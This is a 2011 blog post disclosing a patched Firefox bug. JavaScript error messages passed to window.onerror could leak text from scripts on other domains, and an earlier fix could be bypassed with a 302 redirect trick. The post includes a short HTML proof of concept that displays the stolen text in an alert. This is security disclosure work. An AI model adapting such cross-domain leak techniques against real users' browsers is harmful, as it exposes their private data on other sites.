Sunday, January 23, 2011

Firefox Cross-Domain Text Theft

Firefoxes 2.0.0.19 and 3.0.5 fix a cross-domain theft of textual data. The theft is via cross-domain information leaks in JavaScript error messages for scripts executed via <script src="remote_domain.org">. The JavaScript error messages are made available to the window.onerror handler. In some cases, JavaScript error messages can contain pieces of text from the remote domain as part of the error message, e.g. "blah is not defined". This permits certain textual constructs to be stolen cross-domain.

The broader issue was fixed in Firefox 3.0. However this fix was not complete. The fix could be dodged by using another instance of the "302 redirect trick". It was possible to cause the browser to believe a remote script was in fact local, and therefore continue to reveal JavaScript error messages.

costly domain name 300x222
Proof of concept:
<html>
<body>
You should see an alert box containing a (potentially) sensitive many-bits
hex string stolen cross-domain.
<script>
window.onerror = function(message, uri, line) {
  var fullMessage = message + "\n at " + uri + ": " + line;
  alert(fullMessage);
  return false;
}
</script>
<script src="../redir?url=http://vsftpd.beasts.org/steal_me/hex.txt">
</script>
</body>
</html>

No comments:

Post a Comment